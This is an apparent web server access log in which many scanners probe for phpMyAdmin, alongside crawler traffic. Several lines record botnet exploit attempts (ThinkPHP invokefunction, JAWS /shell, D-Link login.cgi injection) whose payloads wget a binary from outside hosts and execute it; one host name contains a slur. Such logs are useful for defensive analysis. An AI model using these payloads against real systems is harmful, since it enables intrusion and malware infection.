198.16.59.82 - - [13/Feb/2020:00:20:41 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:20:54 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:21:05 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:21:17 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:21:29 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:21:41 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.245.218.53 - - [13/Feb/2020:00:21:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
198.16.59.82 - - [13/Feb/2020:00:21:53 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
177.130.252.21 - - [13/Feb/2020:00:22:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
198.16.59.82 - - [13/Feb/2020:00:22:04 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:22:16 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
78.188.38.32 - - [13/Feb/2020:00:22:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
198.16.59.82 - - [13/Feb/2020:00:22:27 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:22:39 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:22:50 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:23:02 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:23:14 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:23:27 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:23:40 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
81.91.234.81 - - [13/Feb/2020:00:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:23:52 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:24:04 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:24:16 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:24:28 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:24:40 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:24:52 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:25:05 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
1.53.75.20 - - [13/Feb/2020:00:25:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [13/Feb/2020:00:25:16 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:25:27 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:25:40 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:25:53 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:26:05 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:26:17 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:26:29 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:26:41 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:26:52 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:27:05 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:27:17 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:27:29 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:27:40 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:27:52 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:28:03 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:28:15 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:28:27 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
191.205.56.98 - - [13/Feb/2020:00:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:28:39 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:28:51 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:29:03 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:29:16 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:29:28 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:29:40 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:29:52 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:30:04 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
177.36.192.114 - - [13/Feb/2020:00:30:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:30:16 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:30:28 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:30:40 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:30:52 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
187.250.245.114 - - [13/Feb/2020:00:30:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:31:03 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:31:15 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:31:27 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:31:40 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:31:53 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:32:06 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:32:18 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:32:30 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:32:43 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:32:54 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:33:06 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
1.164.254.99 - - [13/Feb/2020:00:33:10 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
198.16.59.82 - - [13/Feb/2020:00:33:17 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:33:29 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:33:47 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:33:58 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:34:09 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:34:15 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
195.155.232.40 - - [13/Feb/2020:00:35:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.38 - - [13/Feb/2020:00:35:40 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
42.117.64.195 - - [13/Feb/2020:00:38:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.88 - - [13/Feb/2020:00:39:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [13/Feb/2020:00:39:07 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [13/Feb/2020:00:39:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [13/Feb/2020:00:39:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
49.70.60.128 - - [13/Feb/2020:00:40:05 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
2.134.84.13 - - [13/Feb/2020:00:43:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.73.139 - - [13/Feb/2020:00:43:20 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.137 - - [13/Feb/2020:00:43:21 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "-" "Googlebot-Image/1.0"
169.197.108.42 - - [13/Feb/2020:00:43:29 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
1.174.154.211 - - [13/Feb/2020:00:48:52 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
207.225.212.237 - - [13/Feb/2020:00:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
47.180.189.177 - - [13/Feb/2020:00:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
125.41.202.205 - - [13/Feb/2020:00:54:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.139.19 - - [13/Feb/2020:00:54:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.39.242.160 - - [13/Feb/2020:00:55:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
58.189.208.61 - - [13/Feb/2020:00:58:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
197.246.169.96 - - [13/Feb/2020:00:58:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.25.88.174 - - [13/Feb/2020:01:03:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
35.226.136.36 - - [13/Feb/2020:01:07:53 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
35.226.136.36 - - [13/Feb/2020:01:07:54 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
42.115.192.151 - - [13/Feb/2020:01:10:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.10.90.89 - - [13/Feb/2020:01:10:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.42.195.86 - - [13/Feb/2020:01:11:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.73.194 - - [13/Feb/2020:01:16:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
178.89.177.83 - - [13/Feb/2020:01:18:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.117.125.132 - - [13/Feb/2020:01:18:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.119.214.108 - - [13/Feb/2020:01:22:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.213.255 - - [13/Feb/2020:01:24:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.42 - - [13/Feb/2020:01:25:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
2.134.84.13 - - [13/Feb/2020:01:25:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
